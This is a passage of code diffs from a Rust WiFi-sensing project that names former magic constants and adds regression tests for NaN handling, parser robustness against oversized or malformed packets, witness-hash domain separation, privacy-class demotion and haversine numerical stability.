/// `NaN` made `mean`/`variance` `NaN`, which — baked into a persisted
|
||||
/// `PresenceSpecialist::threshold` — silently disabled presence detection
|
||||
/// (every `f.variance > NaN` is false). Non-finite samples are dropped.
|
||||
#[test]
|
||||
fn non_finite_samples_do_not_poison_features() {
|
||||
let f = Features::from_series(&[1.0, 2.0, f32::NAN, 4.0, f32::INFINITY, 6.0], 15.0);
|
||||
assert!(f.mean.is_finite(), "mean must stay finite, got {}", f.mean);
|
||||
assert!(f.variance.is_finite(), "variance must stay finite, got {}", f.variance);
|
||||
assert!(f.motion.is_finite(), "motion must stay finite, got {}", f.motion);
|
||||
for x in f.embedding() {
|
||||
assert!(x.is_finite(), "embedding slot non-finite: {x}");
|
||||
}
|
||||
// Mean is over the 4 finite samples {1,2,4,6} only.
|
||||
assert!((f.mean - 3.25).abs() < 1e-5, "mean over finite samples, got {}", f.mean);
|
||||
// Equivalence: dropping the non-finite samples must equal feeding only
|
||||
// the finite ones — proves the filter, not just finiteness.
|
||||
let only_finite = Features::from_series(&[1.0, 2.0, 4.0, 6.0], 15.0);
|
||||
assert_eq!(f, only_finite);
|
||||
}
|
||||
|
||||
/// A series with no finite samples degrades to the all-zero `ZERO`, exactly
|
||||
/// like the empty series — never `NaN`.
|
||||
#[test]
|
||||
fn all_non_finite_series_is_zero() {
|
||||
let f = Features::from_series(&[f32::NAN, f32::INFINITY, f32::NEG_INFINITY], 15.0);
|
||||
assert_eq!(f, Features::ZERO);
|
||||
}
|
||||
|
||||
/// ADR-152 "heart-band leakage" regression: a strong breathing rhythm must
|
||||
/// NOT register as a heart-band periodicity — its in-band autocorr maximum
|
||||
/// sits at the band edge (monotonic leak), not an interior peak.
|
||||
|
||||
@@ -15,6 +15,28 @@ use serde::{Deserialize, Serialize};
|
||||
use crate::anchor::{AnchorLabel, Posture};
|
||||
use crate::extract::{AnchorFeature, Features};
|
||||
|
||||
/// Default minimum breathing-band periodicity score to report a rate, used when
|
||||
/// a [`BreathingSpecialist`] carries no explicit `min_score` (the serde / pre-
|
||||
/// trained-default case). Respiration is a strong, narrowband modulation, so a
|
||||
/// moderate floor rejects noise windows without dropping real breaths.
|
||||
pub const DEFAULT_BREATHING_MIN_SCORE: f32 = 0.25;
|
||||
|
||||
/// Default minimum HR-band periodicity score, used when a [`HeartbeatSpecialist`]
|
||||
/// carries no explicit `min_score`. Higher than breathing's: sub-mm chest
|
||||
/// displacement at HR frequencies sits near the CSI noise floor (ADR-151 §3.2),
|
||||
/// so the heartbeat head demands a cleaner peak before reporting.
|
||||
pub const DEFAULT_HEARTBEAT_MIN_SCORE: f32 = 0.3;
|
||||
|
||||
/// Multiple of the typical inter-anchor spread ([`AnomalySpecialist::scale`])
|
||||
/// beyond which a live window is fully out-of-distribution (anomaly score 1.0):
|
||||
/// a window more than this many spreads from every enrolled prototype is novel.
|
||||
pub const ANOMALY_OUTLIER_SPREADS: f32 = 2.0;
|
||||
|
||||
/// Anomaly score above which the window is *labelled* "anomalous" (vs "normal").
|
||||
/// Distinct from the runtime veto threshold ([`crate::runtime`]); this only
|
||||
/// drives the human-readable label.
|
||||
pub const ANOMALY_LABEL_CUTOFF: f32 = 0.5;
|
||||
|
||||
/// Which biological signal a specialist estimates.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub enum SpecialistKind {
|
||||
@@ -229,7 +251,7 @@ impl Specialist for BreathingSpecialist {
|
||||
let min = if self.min_score > 0.0 {
|
||||
self.min_score
|
||||
} else {
|
||||
0.25
|
||||
DEFAULT_BREATHING_MIN_SCORE
|
||||
};
|
||||
if f.breathing_score < min || f.breathing_hz <= 0.0 {
|
||||
return None;
|
||||
@@ -258,7 +280,7 @@ impl Specialist for HeartbeatSpecialist {
|
||||
let min = if self.min_score > 0.0 {
|
||||
self.min_score
|
||||
} else {
|
||||
0.3
|
||||
DEFAULT_HEARTBEAT_MIN_SCORE
|
||||
};
|
||||
if f.heart_score < min || f.heart_hz <= 0.0 {
|
||||
return None;
|
||||
@@ -383,13 +405,13 @@ impl Specialist for AnomalySpecialist {
|
||||
.sqrt();
|
||||
best = best.min(d);
|
||||
}
|
||||
// >2× the typical spread → anomalous.
|
||||
let score = (best / (2.0 * self.scale)).clamp(0.0, 1.0);
|
||||
// Beyond ANOMALY_OUTLIER_SPREADS× the typical spread → fully anomalous.
|
||||
let score = (best / (ANOMALY_OUTLIER_SPREADS * self.scale)).clamp(0.0, 1.0);
|
||||
Some(SpecialistReading {
|
||||
kind: SpecialistKind::Anomaly,
|
||||
value: score,
|
||||
confidence: 0.6,
|
||||
label: Some(if score > 0.5 { "anomalous" } else { "normal" }.into()),
|
||||
label: Some(if score > ANOMALY_LABEL_CUTOFF { "anomalous" } else { "normal" }.into()),
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -505,6 +527,32 @@ mod tests {
|
||||
assert!(b.infer(&feat(5.0, 0.2, 0.3, 0.1)).is_none()); // low score → none
|
||||
}
|
||||
|
||||
/// De-magic pin: the named default min-scores must equal the historical
|
||||
/// literal values, and the gate boundary must be `score >= min` (a window
|
||||
/// exactly at the default floor reports; a hair below does not).
|
||||
#[test]
|
||||
fn default_min_score_constants_match_prior_literals() {
|
||||
assert_eq!(DEFAULT_BREATHING_MIN_SCORE, 0.25);
|
||||
assert_eq!(DEFAULT_HEARTBEAT_MIN_SCORE, 0.3);
|
||||
let b = BreathingSpecialist::default(); // min_score = 0.0 → uses default
|
||||
assert!(
|
||||
b.infer(&feat(5.0, 0.2, 0.3, DEFAULT_BREATHING_MIN_SCORE)).is_some(),
|
||||
"score exactly at the default floor must report"
|
||||
);
|
||||
assert!(
|
||||
b.infer(&feat(5.0, 0.2, 0.3, DEFAULT_BREATHING_MIN_SCORE - 1e-3)).is_none(),
|
||||
"score below the default floor must not report"
|
||||
);
|
||||
}
|
||||
|
||||
/// De-magic pin for the anomaly score scale + label cutoff (value-identical
|
||||
/// to the prior `2.0 * scale` / `> 0.5` literals).
|
||||
#[test]
|
||||
fn anomaly_constants_match_prior_literals() {
|
||||
assert_eq!(ANOMALY_OUTLIER_SPREADS, 2.0);
|
||||
assert_eq!(ANOMALY_LABEL_CUTOFF, 0.5);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn restlessness_normalizes() {
|
||||
let anchors = vec![
|
||||
|
||||
@@ -471,6 +471,54 @@ mod tests {
|
||||
assert!(ht.record(&f).is_err());
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06, ADR-127): the UDP parser is the CLI's
|
||||
/// widest attack surface — `calibrate` / `enroll` / `room-watch` bind it to
|
||||
/// 0.0.0.0 by default, so any host on the LAN can send arbitrary bytes. A
|
||||
/// header that *claims* a huge `n_antennas * n_subcarriers` must be rejected
|
||||
/// by the length check BEFORE the `Array2::zeros` allocation, so a single
|
||||
/// small datagram can never trigger a multi-MB allocation (unbounded-memory
|
||||
/// DoS). The largest possible claim (255 × 65535 pairs ≈ 33 MB of IQ) inside
|
||||
/// a RECV_BUF-sized (2048-byte) datagram parses to `None`, never OOMs.
|
||||
#[test]
|
||||
fn test_parse_csi_packet_oversized_claim_is_rejected_not_allocated() {
|
||||
let mut buf = vec![0u8; RECV_BUF];
|
||||
buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
|
||||
buf[4] = 1; // node_id
|
||||
buf[5] = 255; // n_antennas (max)
|
||||
buf[6..8].copy_from_slice(&65535u16.to_le_bytes()); // n_subcarriers (max)
|
||||
buf[8..12].copy_from_slice(&2432u32.to_le_bytes());
|
||||
// n_pairs = 255 * 65535 = 16_711_425 → needs ~33 MB of IQ bytes that a
|
||||
// 2048-byte datagram cannot carry → length check fails → None.
|
||||
assert!(parse_csi_packet(&buf, "ht20").is_none());
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06): the parser must never panic on ANY byte
|
||||
/// string — truncated headers, lying length fields, odd sizes. IQ-loop
|
||||
/// indexing is guarded by the length check; this sweeps a spread of
|
||||
/// adversarial inputs to lock in panic-on-adversarial-input = 0.
|
||||
#[test]
|
||||
fn test_parse_csi_packet_never_panics_on_arbitrary_bytes() {
|
||||
let mut st = 0x1234_5678u64;
|
||||
let mut next = move || {
|
||||
st = st
|
||||
.wrapping_mul(6_364_136_223_846_793_005)
|
||||
.wrapping_add(1_442_695_040_888_963_407);
|
||||
(st >> 33) as u8
|
||||
};
|
||||
for len in 0..600usize {
|
||||
let buf: Vec<u8> = (0..len).map(|_| next()).collect();
|
||||
for tier in ["ht20", "he20", "garbage"] {
|
||||
let _ = parse_csi_packet(&buf, tier);
|
||||
}
|
||||
}
|
||||
// Valid magic, lying n_subcarriers, no payload → None (not a panic).
|
||||
let mut buf = vec![0u8; 20];
|
||||
buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
|
||||
buf[5] = 3;
|
||||
buf[6..8].copy_from_slice(&500u16.to_le_bytes());
|
||||
assert!(parse_csi_packet(&buf, "ht20").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_freq_to_channel_24ghz() {
|
||||
assert_eq!(freq_mhz_to_channel(2437), 6);
|
||||
|
||||
@@ -1636,6 +1636,67 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06, ADR-127) — `from_canonical_bytes` is a
|
||||
/// deserialisation boundary for replayed/forwarded captures. A forged header
|
||||
/// advertising an enormous `rows × cols` must be rejected by the
|
||||
/// shape-vs-length check (`expect` uses saturating multiplies) BEFORE the
|
||||
/// `Vec::with_capacity(rows * cols)` allocation — otherwise an attacker could
|
||||
/// drive a multi-GB allocation from a few header bytes (unbounded-memory
|
||||
/// DoS). The check guarantees `rows*cols*16 <= bytes.len()`, so the capacity
|
||||
/// is bounded by the input the caller already holds. This must not OOM.
|
||||
#[test]
|
||||
fn canonical_decode_oversized_shape_is_bounded_not_allocated() {
|
||||
use ndarray::Array2;
|
||||
let meta = CsiMetadata::new(DeviceId::new("n"), FrequencyBand::Band2_4GHz, 1);
|
||||
let data = Array2::from_shape_fn((1, 2), |(_, c)| Complex64::new(c as f64, 0.0));
|
||||
let mut bytes = CsiFrame::new(meta, data).to_canonical_bytes();
|
||||
|
||||
// The (rows, cols) u32 pair is the last 8 bytes before the payload.
|
||||
// Overwrite with a maximal claim (u32::MAX × u32::MAX) and lop off the
|
||||
// payload so the buffer is tiny but the header lies enormously.
|
||||
let shape_off = bytes.len() - 8 - 2 * 16; // 2 samples × 16 bytes payload
|
||||
bytes[shape_off..shape_off + 4].copy_from_slice(&u32::MAX.to_le_bytes());
|
||||
bytes[shape_off + 4..shape_off + 8].copy_from_slice(&u32::MAX.to_le_bytes());
|
||||
bytes.truncate(shape_off + 8); // drop the real payload
|
||||
|
||||
// expect = MAX*MAX*16 (saturated) > found → PayloadMismatch, no alloc.
|
||||
assert!(matches!(
|
||||
CsiFrame::from_canonical_bytes(&bytes),
|
||||
Err(CanonicalDecodeError::PayloadMismatch { .. })
|
||||
));
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06) — the decoder must never panic on arbitrary
|
||||
/// bytes: every malformed input is a typed `CanonicalDecodeError`, never an
|
||||
/// unwinding panic (panic-on-adversarial-input = 0). Sweep truncations and a
|
||||
/// deterministic fuzz spread.
|
||||
#[test]
|
||||
fn canonical_decode_never_panics_on_arbitrary_bytes() {
|
||||
use ndarray::Array2;
|
||||
let mut meta = CsiMetadata::new(DeviceId::new("node"), FrequencyBand::Band5GHz, 36);
|
||||
meta.antenna_config.spacing_mm = Some(50.0);
|
||||
let data = Array2::from_shape_fn((2, 8), |(r, c)| Complex64::new(r as f64, c as f64));
|
||||
let good = CsiFrame::new(meta, data).to_canonical_bytes();
|
||||
|
||||
// Every prefix of a valid encoding must decode without panicking.
|
||||
for n in 0..good.len() {
|
||||
let _ = CsiFrame::from_canonical_bytes(&good[..n]);
|
||||
}
|
||||
// Deterministic LCG fuzz over varied lengths.
|
||||
let mut st = 0xDEAD_BEEFu64;
|
||||
for len in 0..400usize {
|
||||
let buf: Vec<u8> = (0..len)
|
||||
.map(|_| {
|
||||
st = st
|
||||
.wrapping_mul(6_364_136_223_846_793_005)
|
||||
.wrapping_add(1_442_695_040_888_963_407);
|
||||
(st >> 33) as u8
|
||||
})
|
||||
.collect();
|
||||
let _ = CsiFrame::from_canonical_bytes(&buf);
|
||||
}
|
||||
}
|
||||
|
||||
/// AC8c (review finding 7) — `Some(Uuid::nil())` calibration is an
|
||||
/// encoding error: nil is the wire sentinel for `None`, so encoding it
|
||||
/// would alias two distinct frames to one byte string (and one witness).
|
||||
|
||||
@@ -205,7 +205,7 @@ impl StreamingEngine {
|
||||
pub fn new(mode: PrivacyMode, model_version: u16, registration: GeoRegistration) -> Self {
|
||||
Self {
|
||||
fuser: MultistaticFuser::with_config(MultistaticConfig::default()),
|
||||
coherence_accept: 0.85,
|
||||
coherence_accept: Self::DEFAULT_COHERENCE_ACCEPT,
|
||||
privacy: PrivacyModeRegistry::new(mode),
|
||||
world: WorldGraph::new(registration),
|
||||
model_version,
|
||||
@@ -213,7 +213,11 @@ impl StreamingEngine {
|
||||
array: ArrayCoordinator::new(ArrayCoordinatorConfig::default()),
|
||||
node_geom: BTreeMap::new(),
|
||||
evolution: None,
|
||||
slam: RfSlam::with_discovery(0.5, 5, 0.6),
|
||||
slam: RfSlam::with_discovery(
|
||||
Self::SLAM_ASSOC_RADIUS_M,
|
||||
Self::SLAM_MIN_SIGHTINGS,
|
||||
Self::SLAM_MIN_COHERENCE,
|
||||
),
|
||||
person_tracks: BTreeMap::new(),
|
||||
semantic_retention: Self::DEFAULT_SEMANTIC_RETENTION,
|
||||
adapter: None,
|
||||
@@ -257,6 +261,31 @@ impl StreamingEngine {
|
||||
/// durable history belongs to the recorder).
|
||||
pub const DEFAULT_SEMANTIC_RETENTION: usize = 7_200;
|
||||
|
||||
/// Cross-node coherence at or above which fusion records a positive
|
||||
/// `CoherenceGateThreshold` evidence ref (ADR-137). Below it the cycle still
|
||||
/// emits, but without that corroborating evidence — so this gate shapes the
|
||||
/// trust record, not the privacy class. (== prior inline 0.85.)
|
||||
pub const DEFAULT_COHERENCE_ACCEPT: f32 = 0.85;
|
||||
|
||||
/// ADR-143 reflector-discovery parameters used to build the persistent
|
||||
/// `RfSlam`: association radius (m) within which two sightings are the same
|
||||
/// reflector, the minimum number of sightings before a reflector is
|
||||
/// considered stable, and the minimum per-sighting coherence to admit it.
|
||||
/// (== prior inline `with_discovery(0.5, 5, 0.6)`.)
|
||||
pub const SLAM_ASSOC_RADIUS_M: f64 = 0.5;
|
||||
/// Minimum sightings before a discovered reflector is treated as stable.
|
||||
pub const SLAM_MIN_SIGHTINGS: u64 = 5;
|
||||
/// Minimum per-sighting coherence to admit a reflector sighting.
|
||||
pub const SLAM_MIN_COHERENCE: f32 = 0.6;
|
||||
|
||||
/// ADR-143 static-anchor classification thresholds passed to
|
||||
/// `RfSlam::static_anchors`: the wall/ceiling stationarity ceiling and the
|
||||
/// mobile-reflector floor (anchors more mobile than this are dropped, not
|
||||
/// persisted). (== prior inline `static_anchors(0.05, 1.0)`.)
|
||||
pub const ANCHOR_WALL_CEILING: f64 = 0.05;
|
||||
/// Mobility floor above which a reflector is treated as mobile (skipped).
|
||||
pub const ANCHOR_MOBILE_FLOOR: f64 = 1.0;
|
||||
|
||||
/// Override the `SemanticState` retention cap (minimum 1).
|
||||
pub fn set_semantic_retention(&mut self, max_states: usize) {
|
||||
self.semantic_retention = max_states.max(1);
|
||||
@@ -331,7 +360,9 @@ impl StreamingEngine {
|
||||
self.slam.observe(obs);
|
||||
}
|
||||
let mut written = Vec::new();
|
||||
for (pos, class) in self.slam.static_anchors(0.05, 1.0) {
|
||||
for (pos, class) in
|
||||
self.slam.static_anchors(Self::ANCHOR_WALL_CEILING, Self::ANCHOR_MOBILE_FLOOR)
|
||||
{
|
||||
let kind = match class {
|
||||
wifi_densepose_signal::ruvsense::ReflectorClass::Wall => AnchorKind::Reflector,
|
||||
wifi_densepose_signal::ruvsense::ReflectorClass::Furniture => AnchorKind::Furniture,
|
||||
@@ -595,19 +626,46 @@ impl StreamingEngine {
|
||||
}
|
||||
}
|
||||
|
||||
/// Domain-separation tag for the witness hash. Bumping this string
|
||||
/// intentionally invalidates every previously-recorded witness (a schema break).
|
||||
const WITNESS_DOMAIN: &[u8] = b"ruview.engine.witness.v1";
|
||||
|
||||
/// Length-prefix a variable-length field into the witness hash so adjacent
|
||||
/// fields can never be confused for one another. The 8-byte little-endian
|
||||
/// length makes the field framing unambiguous regardless of the bytes inside
|
||||
/// it (a field can contain the separator, the domain tag, anything).
|
||||
fn witness_field(h: &mut blake3::Hasher, bytes: &[u8]) {
|
||||
h.update(&(bytes.len() as u64).to_le_bytes());
|
||||
h.update(bytes);
|
||||
}
|
||||
|
||||
/// Deterministic BLAKE3 witness over a trust decision: the provenance tuple
|
||||
/// (evidence ‖ model ‖ calibration ‖ privacy decision) plus the effective
|
||||
/// privacy-class byte. Stable across runs for identical decisions — the
|
||||
/// "signed operational belief" fingerprint (ADR-137 §2.7 / ADR-028).
|
||||
///
|
||||
/// # Witness integrity (review finding: domain separation)
|
||||
/// Every privacy-relevant field is **length-prefixed** before hashing, and the
|
||||
/// (variable-length) evidence list is preceded by an explicit count. Without
|
||||
/// this framing the fields were concatenated boundary-to-boundary, so a string
|
||||
/// straddling a field boundary (e.g. an adapter id absorbing the leading bytes
|
||||
/// of the calibration epoch, or a model_version absorbing a trailing evidence
|
||||
/// ref) collided with a *different* trust decision — silently un-distinguishing
|
||||
/// two distinct privacy-relevant inputs and defeating the tamper/drift audit.
|
||||
/// `model_version` is operator-influenceable (per-room adapter id, ADR-150
|
||||
/// §3.4), so the ambiguity was reachable, not merely theoretical.
|
||||
fn witness_of(p: &SemanticProvenance, class: PrivacyClass) -> [u8; 32] {
|
||||
let mut h = blake3::Hasher::new();
|
||||
h.update(WITNESS_DOMAIN);
|
||||
// Explicit evidence count, then each ref length-prefixed: the number of
|
||||
// evidence refs is itself privacy-relevant and must be unambiguous.
|
||||
h.update(&(p.evidence.len() as u64).to_le_bytes());
|
||||
for e in &p.evidence {
|
||||
h.update(e.as_bytes());
|
||||
h.update(b"\x1f");
|
||||
witness_field(&mut h, e.as_bytes());
|
||||
}
|
||||
h.update(p.model_version.as_bytes());
|
||||
h.update(p.calibration_version.as_bytes());
|
||||
h.update(p.privacy_decision.as_bytes());
|
||||
witness_field(&mut h, p.model_version.as_bytes());
|
||||
witness_field(&mut h, p.calibration_version.as_bytes());
|
||||
witness_field(&mut h, p.privacy_decision.as_bytes());
|
||||
h.update(&[class.as_u8()]);
|
||||
*h.finalize().as_bytes()
|
||||
}
|
||||
@@ -1113,4 +1171,179 @@ mod tests {
|
||||
// StrictNoIdentity base = Restricted, even with no contradiction.
|
||||
assert_eq!(out.effective_class, PrivacyClass::Restricted);
|
||||
}
|
||||
|
||||
/// De-magic pin (review finding): the named engine constants must keep
|
||||
/// their prior inline values exactly, so the de-magic is a pure rename with
|
||||
/// no behavior change.
|
||||
#[test]
|
||||
fn engine_constants_match_prior_values() {
|
||||
assert_eq!(StreamingEngine::DEFAULT_COHERENCE_ACCEPT, 0.85);
|
||||
assert_eq!(StreamingEngine::SLAM_ASSOC_RADIUS_M, 0.5);
|
||||
assert_eq!(StreamingEngine::SLAM_MIN_SIGHTINGS, 5);
|
||||
assert_eq!(StreamingEngine::SLAM_MIN_COHERENCE, 0.6);
|
||||
assert_eq!(StreamingEngine::ANCHOR_WALL_CEILING, 0.05);
|
||||
assert_eq!(StreamingEngine::ANCHOR_MOBILE_FLOOR, 1.0);
|
||||
}
|
||||
|
||||
/// Privacy monotonicity (the crux): across EVERY base mode, a forced
|
||||
/// contradiction may only ever make the emitted class *more* restrictive
|
||||
/// (higher byte) and never less. Demotion is single-step and clamps at
|
||||
/// Restricted; a clean cycle emits exactly the base class. This is the
|
||||
/// information-only-removed invariant of ADR-141/120 stated as a property
|
||||
/// over the whole mode set.
|
||||
#[test]
|
||||
fn forced_contradiction_never_relaxes_class() {
|
||||
let cal_mismatch = [Some(CalibrationId(1)), Some(CalibrationId(2))]; // disagree → contradiction
|
||||
let cal_match = [Some(CalibrationId(5)), Some(CalibrationId(5))];
|
||||
let frames = [node_frame(0, 1000, 56), node_frame(1, 1001, 56)];
|
||||
for mode in [
|
||||
PrivacyMode::RawResearch,
|
||||
PrivacyMode::PrivateHome,
|
||||
PrivacyMode::EnterpriseAnonymous,
|
||||
PrivacyMode::CareWithConsent,
|
||||
PrivacyMode::StrictNoIdentity,
|
||||
] {
|
||||
let base_class = mode.target_class();
|
||||
|
||||
// Clean cycle: emits exactly the base class (no relaxation upward).
|
||||
let mut clean = StreamingEngine::new(mode, 1, GeoRegistration::default());
|
||||
let room_c = clean.add_room("r", "R");
|
||||
let oc = clean
|
||||
.process_cycle_calibrated(&frames, &cal_match, room_c, 1)
|
||||
.unwrap();
|
||||
assert_eq!(oc.effective_class, base_class, "clean cycle == base class");
|
||||
assert!(!oc.demoted);
|
||||
|
||||
// Forced contradiction: class byte only ever increases (more
|
||||
// restrictive), never decreases below the base.
|
||||
let mut dirty = StreamingEngine::new(mode, 1, GeoRegistration::default());
|
||||
let room_d = dirty.add_room("r", "R");
|
||||
let od = dirty
|
||||
.process_cycle_calibrated(&frames, &cal_mismatch, room_d, 1)
|
||||
.unwrap();
|
||||
assert!(od.demoted, "calibration mismatch must demote in {mode:?}");
|
||||
assert!(
|
||||
od.effective_class.as_u8() >= base_class.as_u8(),
|
||||
"demotion must never relax: {mode:?} base={:?} got={:?}",
|
||||
base_class,
|
||||
od.effective_class
|
||||
);
|
||||
// And it must be strictly more restrictive unless already clamped
|
||||
// at the most-restrictive class.
|
||||
if base_class != PrivacyClass::Restricted {
|
||||
assert!(
|
||||
od.effective_class.as_u8() > base_class.as_u8(),
|
||||
"unclamped demotion must increase restriction in {mode:?}"
|
||||
);
|
||||
} else {
|
||||
assert_eq!(od.effective_class, PrivacyClass::Restricted);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Fail-closed boundary: an empty cycle (zero frames) must NOT emit a
|
||||
/// trusted output at all — fusion rejects it and the engine surfaces a
|
||||
/// hard error. There is no degenerate output that could carry a stale or
|
||||
/// over-permissive class.
|
||||
#[test]
|
||||
fn empty_cycle_fails_closed() {
|
||||
let (mut e, room) = engine();
|
||||
let err = e.process_cycle(&[], CalibrationId(1), room, 1);
|
||||
assert!(matches!(err, Err(EngineError::Fusion(_))), "empty cycle must error, got {err:?}");
|
||||
// No SemanticState was appended (room + sensor only).
|
||||
assert_eq!(e.world().node_count(), 2);
|
||||
assert_eq!(e.cycle_count(), 0, "a failed cycle must not advance the counter");
|
||||
}
|
||||
|
||||
/// Single-node boundary characterization: a one-node cycle fuses (no
|
||||
/// multistatic cross-check is possible), reports no mesh (n<2), and emits a
|
||||
/// well-formed witness at the base class. Documents that single-node sensing
|
||||
/// is a valid, non-demoting mode — not a silent bypass.
|
||||
#[test]
|
||||
fn single_node_cycle_is_well_formed() {
|
||||
let (mut e, room) = engine();
|
||||
let out = e
|
||||
.process_cycle(&[node_frame(0, 1000, 56)], CalibrationId(1), room, 1)
|
||||
.unwrap();
|
||||
assert!(out.mesh.is_none(), "one node has no mesh cut");
|
||||
assert!(out.directional.is_none(), "no geometry registered");
|
||||
assert_eq!(out.effective_class, PrivacyClass::Anonymous); // PrivateHome base
|
||||
assert_ne!(out.witness, [0u8; 32], "witness still emitted");
|
||||
}
|
||||
|
||||
/// Witness domain-separation (review finding): the witness must change
|
||||
/// whenever ANY privacy-relevant field changes. The model_version,
|
||||
/// calibration_version, and privacy_decision fields are concatenated into
|
||||
/// the hash; without an unambiguous delimiter between them, a string that
|
||||
/// straddles the model/calibration boundary collides with a different
|
||||
/// (model, calibration) tuple.
|
||||
///
|
||||
/// `model_version` is operator-influenceable through the per-room adapter id
|
||||
/// (ADR-150 §3.4), and `calibration_version` is `cal:<hex>` — so the two
|
||||
/// provenances below are *both reachable* and represent genuinely different
|
||||
/// trust decisions (different model identity, different calibration epoch),
|
||||
/// yet the field-boundary ambiguity makes them hash-collide. A colliding
|
||||
/// witness silently un-distinguishes two distinct privacy-relevant inputs,
|
||||
/// defeating the tamper/drift audit guarantee.
|
||||
#[test]
|
||||
fn witness_distinguishes_model_calibration_boundary() {
|
||||
let class = PrivacyClass::Anonymous;
|
||||
// A: model "rfenc-v1+adapter:X", calibration epoch "cal:00ab".
|
||||
let a = SemanticProvenance {
|
||||
evidence: vec!["ev".into()],
|
||||
model_version: "rfenc-v1+adapter:X".into(),
|
||||
calibration_version: "cal:00ab".into(),
|
||||
privacy_decision: "PrivateHome/Anonymous".into(),
|
||||
};
|
||||
// B: adapter id absorbs the leading "cal:00a" of A's calibration; B's
|
||||
// own calibration is the remaining "b". A.model‖A.cal == B.model‖B.cal,
|
||||
// so the unseparated concatenation hashes identically — yet these are
|
||||
// distinct (model identity, calibration epoch) tuples.
|
||||
let b = SemanticProvenance {
|
||||
evidence: vec!["ev".into()],
|
||||
model_version: "rfenc-v1+adapter:Xcal:00a".into(),
|
||||
calibration_version: "b".into(),
|
||||
privacy_decision: "PrivateHome/Anonymous".into(),
|
||||
};
|
||||
assert_ne!(a.model_version, b.model_version);
|
||||
assert_ne!(a.calibration_version, b.calibration_version);
|
||||
// Sanity: the two collide under naive concatenation.
|
||||
assert_eq!(
|
||||
format!("{}{}", a.model_version, a.calibration_version),
|
||||
format!("{}{}", b.model_version, b.calibration_version),
|
||||
);
|
||||
assert_ne!(
|
||||
witness_of(&a, class),
|
||||
witness_of(&b, class),
|
||||
"distinct (model, calibration) tuples must not share a witness"
|
||||
);
|
||||
}
|
||||
|
||||
/// Witness domain-separation across the evidence/model boundary: a witness
|
||||
/// must distinguish an extra evidence ref from a model_version that absorbs
|
||||
/// the same bytes. The evidence loop terminates each ref with one separator;
|
||||
/// the model field must itself be unambiguously delimited from the (variable
|
||||
/// number of) evidence refs that precede it.
|
||||
#[test]
|
||||
fn witness_distinguishes_evidence_model_boundary() {
|
||||
let class = PrivacyClass::Anonymous;
|
||||
let a = SemanticProvenance {
|
||||
evidence: vec!["e1".into(), "e2".into()],
|
||||
model_version: "m".into(),
|
||||
calibration_version: "cal:1".into(),
|
||||
privacy_decision: "PrivateHome/Anonymous".into(),
|
||||
};
|
||||
let b = SemanticProvenance {
|
||||
evidence: vec!["e1".into()],
|
||||
// absorbs "e2" + its 0x1f separator into the model field.
|
||||
model_version: "e2\u{1f}m".into(),
|
||||
calibration_version: "cal:1".into(),
|
||||
privacy_decision: "PrivateHome/Anonymous".into(),
|
||||
};
|
||||
assert_ne!(
|
||||
witness_of(&a, class),
|
||||
witness_of(&b, class),
|
||||
"an extra evidence ref must not collide with a model_version that absorbs it"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -15,7 +15,11 @@ pub fn haversine(a: &GeoPoint, b: &GeoPoint) -> f64 {
|
||||
let lat1 = a.lat.to_radians();
|
||||
let lat2 = b.lat.to_radians();
|
||||
let h = (dlat / 2.0).sin().powi(2) + lat1.cos() * lat2.cos() * (dlon / 2.0).sin().powi(2);
|
||||
2.0 * WGS84_A * h.sqrt().asin()
|
||||
// `asin` is only defined on [-1, 1]. For (near-)antipodal points floating
|
||||
// rounding can push `h.sqrt()` to 1.0 + epsilon, and `asin(>1)` is NaN —
|
||||
// which would silently poison any distance-based comparison downstream.
|
||||
// Clamp into domain so the result is always a finite distance.
|
||||
2.0 * WGS84_A * h.sqrt().clamp(0.0, 1.0).asin()
|
||||
}
|
||||
|
||||
/// WGS84 to local ENU (East-North-Up) relative to origin, in meters.
|
||||
@@ -83,3 +87,73 @@ pub fn tiles_for_bbox(bbox: &GeoBBox, zoom: u8) -> Vec<TileCoord> {
|
||||
}
|
||||
tiles
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
// ── haversine asin-domain robustness ───────────────────────────────────
|
||||
//
|
||||
// For (near-)antipodal points, floating rounding can push the haversine
|
||||
// term `h` to 1.0 + ~4e-16, and `asin(sqrt(h)) = asin(>1)` is NaN. A NaN
|
||||
// distance silently breaks every downstream comparison (all `<`/`>` become
|
||||
// false), so the result must stay finite. This exact pair produced
|
||||
// h = 1.0000000000000004 pre-fix (verified empirically).
|
||||
|
||||
#[test]
|
||||
fn haversine_near_antipodal_is_finite_not_nan() {
|
||||
let a = GeoPoint {
|
||||
lat: -44.4994,
|
||||
lon: -178.957_22,
|
||||
alt: 0.0,
|
||||
};
|
||||
let b = GeoPoint {
|
||||
lat: 44.499_399_99,
|
||||
lon: 1.042_780_01,
|
||||
alt: 0.0,
|
||||
};
|
||||
let d = haversine(&a, &b);
|
||||
assert!(d.is_finite(), "near-antipodal haversine must be finite, got {d}");
|
||||
// Half-circumference is ~20_037 km; result must be close to that.
|
||||
assert!(
|
||||
(19_000_000.0..21_000_000.0).contains(&d),
|
||||
"antipodal distance should be ~half-circumference, got {d}"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn haversine_identical_points_is_zero() {
|
||||
let p = GeoPoint {
|
||||
lat: 43.65,
|
||||
lon: -79.38,
|
||||
alt: 0.0,
|
||||
};
|
||||
let d = haversine(&p, &p);
|
||||
assert!(d.is_finite() && d < 1e-6, "identical points → 0, got {d}");
|
||||
}
|
||||
|
||||
// ── pole-singularity robustness (degenerate geometry) ──────────────────
|
||||
//
|
||||
// The ENU transforms divide by cos(lat); at the poles cos(±90°) = 0, so
|
||||
// the longitude term is non-finite. We do not change the transform (that
|
||||
// would alter near-pole results), but we pin that the call does NOT panic.
|
||||
|
||||
#[test]
|
||||
